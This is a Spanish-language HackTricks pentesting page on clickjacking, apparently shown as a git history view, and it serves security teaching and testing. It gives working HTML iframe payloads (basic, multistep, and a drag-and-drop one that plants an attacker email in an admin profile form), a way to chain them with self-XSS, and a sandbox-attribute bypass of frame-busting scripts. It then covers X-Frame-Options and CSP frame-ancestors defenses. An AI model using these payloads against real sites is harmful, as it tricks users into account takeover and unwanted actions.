hacktricks/pentesting-web/clickjacking.md

195 lines
12 KiB
Markdown
Raw Normal View History

2023-06-05 20:33:24 +02:00
# Clickjacking
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 20:33:24 +02:00
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 20:33:24 +02:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 20:33:24 +02:00
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas**.\
Obtén Acceso Hoy:
2023-06-05 20:33:24 +02:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## ¿Qué es Clickjacking?
2023-06-05 20:33:24 +02:00
Clickjacking es un ataque que **engaña** a un **usuario** para que **haga clic** en un **elemento** de una página web que es **invisible** o está disfrazado como otro elemento. Esto puede hacer que los usuarios descarguen malware sin saberlo, visiten páginas web maliciosas, proporcionen credenciales o información sensible, transfieran dinero o compren productos en línea. (De [aquí](https://www.imperva.com/learn/application-security/clickjacking/)).
2023-06-05 20:33:24 +02:00
### Truco de formularios prellenados
2023-06-05 20:33:24 +02:00
A veces es posible **rellenar el valor de los campos de un formulario usando parámetros GET al cargar una página**. Un atacante puede abusar de este comportamiento para llenar un formulario con datos arbitrarios y enviar la carga útil de clickjacking para que el usuario presione el botón Enviar.
2023-06-05 20:33:24 +02:00
### Llenar formulario con Arrastrar y Soltar
2023-06-05 20:33:24 +02:00
Si necesitas que el usuario **rellene un formulario** pero no quieres pedirle directamente que escriba información específica (como el correo electrónico o una contraseña específica que conoces), puedes simplemente pedirle que **Arrastre y Suelte** algo que escribirá tus datos controlados como en [**este ejemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
2023-06-05 20:33:24 +02:00
### Carga Útil Básica
2023-06-05 20:33:24 +02:00
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
2023-06-05 20:33:24 +02:00
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Payload Multistep
2023-06-05 20:33:24 +02:00
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
2023-06-05 20:33:24 +02:00
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Carga útil de Arrastrar y Soltar + Clic
2023-06-05 20:33:24 +02:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Si has identificado un **ataque XSS que requiere que un usuario haga clic** en algún elemento para **activar** el XSS y la página es **vulnerable al clickjacking**, podrías abusar de esto para engañar al usuario y hacer que haga clic en el botón/enlace.\
2023-06-05 20:33:24 +02:00
Ejemplo:\
_Encontraste un **self XSS** en algunos detalles privados de la cuenta (detalles que **solo tú puedes establecer y leer**). La página con el **formulario** para establecer estos detalles es **vulnerable** al **Clickjacking** y puedes **prellenar** el **formulario** con los parámetros GET._\
\_\_Un atacante podría preparar un ataque de **Clickjacking** a esa página **prellenando** el **formulario** con el **payload de XSS** y **engañando** al **usuario** para que **envíe** el formulario. Entonces, **cuando se envía el formulario** y se modifican los valores, el **usuario ejecutará el XSS**.
2023-06-05 20:33:24 +02:00
## Cómo evitar el Clickjacking
### Defensas del lado del cliente
Es posible ejecutar scripts del lado del cliente que realicen algunos o todos los siguientes comportamientos para prevenir el Clickjacking:
2023-06-05 20:33:24 +02:00
* verificar y asegurar que la ventana de la aplicación actual sea la ventana principal o superior,
* hacer todos los marcos visibles,
* prevenir clics en marcos invisibles,
2023-06-05 20:33:24 +02:00
* interceptar y marcar posibles ataques de clickjacking en un usuario.
#### Evasión
2023-06-05 20:33:24 +02:00
Como los rompedores de marcos son JavaScript, entonces la configuración de seguridad del navegador puede prevenir su operación o incluso el navegador podría no soportar JavaScript. Una solución efectiva del atacante contra los rompedores de marcos es usar el atributo `sandbox` de iframe de **HTML5**. Cuando se establece con los valores `allow-forms` o `allow-scripts` y se omite el valor `allow-top-navigation`, entonces el script rompedor de marcos puede ser neutralizado ya que el iframe no puede verificar si es o no la ventana superior:
2023-06-05 20:33:24 +02:00
```markup
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Los valores `allow-forms` y `allow-scripts` permiten las acciones especificadas dentro del iframe, pero la navegación de nivel superior está deshabilitada. Esto inhibe comportamientos de evasión de marcos mientras permite la funcionalidad dentro del sitio objetivo.
2023-06-05 20:33:24 +02:00
Dependiendo del tipo de ataque de Clickjacking realizado **también puede ser necesario permitir**: `allow-same-origin` y `allow-modals` o [incluso más](https://www.w3schools.com/tags/att_iframe_sandbox.asp). Al preparar el ataque, solo verifica la consola del navegador, puede decirte qué otros comportamientos necesitas permitir.
2023-06-05 20:33:24 +02:00
### X-Frame-Options
El **encabezado de respuesta HTTP `X-Frame-Options`** se puede usar para indicar si un navegador debe **permitirse** renderizar una página en un `<frame>` o `<iframe>`. Los sitios pueden usar esto para evitar ataques de Clickjacking, asegurándose de que **su contenido no esté incrustado en otros sitios**. Establece el encabezado **`X-Frame-Options`** para todas las respuestas que contengan contenido HTML. Los valores posibles son:
2023-06-05 20:33:24 +02:00
* `X-Frame-Options: deny` que **impide que cualquier dominio enmarque el contenido** _(Valor recomendado)_
* `X-Frame-Options: sameorigin` que solo **permite al sitio actual** enmarcar el contenido.
* `X-Frame-Options: allow-from https://trusted.com` que **permite al 'uri' especificado** enmarcar esta página.
* Verifica las limitaciones a continuación porque **esto fallará si el navegador no lo soporta**.
* Otros navegadores soportan la nueva directiva **CSP frame-ancestors en su lugar**. Algunos soportan ambos.
2023-06-05 20:33:24 +02:00
### Directiva frame-ancestors de la Política de Seguridad de Contenido (CSP)
2023-06-05 20:33:24 +02:00
La **protección recomendada contra clickjacking** es incorporar la **directiva `frame-ancestors`** en la Política de Seguridad de Contenido de la aplicación.\
La directiva **`frame-ancestors 'none'`** tiene un comportamiento similar a la directiva **X-Frame-Options `deny`** (_Nadie puede enmarcar la página_).\
La directiva **`frame-ancestors 'self'`** es ampliamente equivalente a la directiva **X-Frame-Options `sameorigin`** (_solo el sitio actual puede enmarcarla_).\
La directiva **`frame-ancestors trusted.com`** es ampliamente equivalente a la directiva **X-Frame-Options** `allow-from` (_solo el sitio de confianza puede enmarcarla_).
2023-06-05 20:33:24 +02:00
La siguiente CSP solo permite marcos al mismo dominio:
2023-06-05 20:33:24 +02:00
`Content-Security-Policy: frame-ancestors 'self';`
Consulta la siguiente documentación para obtener más detalles y ejemplos más complejos:
2023-06-05 20:33:24 +02:00
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
### Limitaciones <a href="#limitations" id="limitations"></a>
* **Soporte del navegador:** CSP frame-ancestors no es soportado por todos los principales navegadores todavía.
* **X-Frame-Options tiene prioridad:** [Sección "Relación con X-Frame-Options" de la Especificación CSP](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) dice: "_Si un recurso se entrega con una política que incluye una directiva llamada frame-ancestors y cuya disposición es "enforce", entonces el encabezado X-Frame-Options DEBE ser ignorado_", pero Chrome 40 y Firefox 35 ignoran la directiva frame-ancestors y siguen el encabezado X-Frame-Options en su lugar.
2023-06-05 20:33:24 +02:00
## Referencias
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
2023-06-05 20:33:24 +02:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 20:33:24 +02:00
\
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy:
2023-06-05 20:33:24 +02:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
2023-06-05 20:33:24 +02:00
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 20:33:24 +02:00
</details>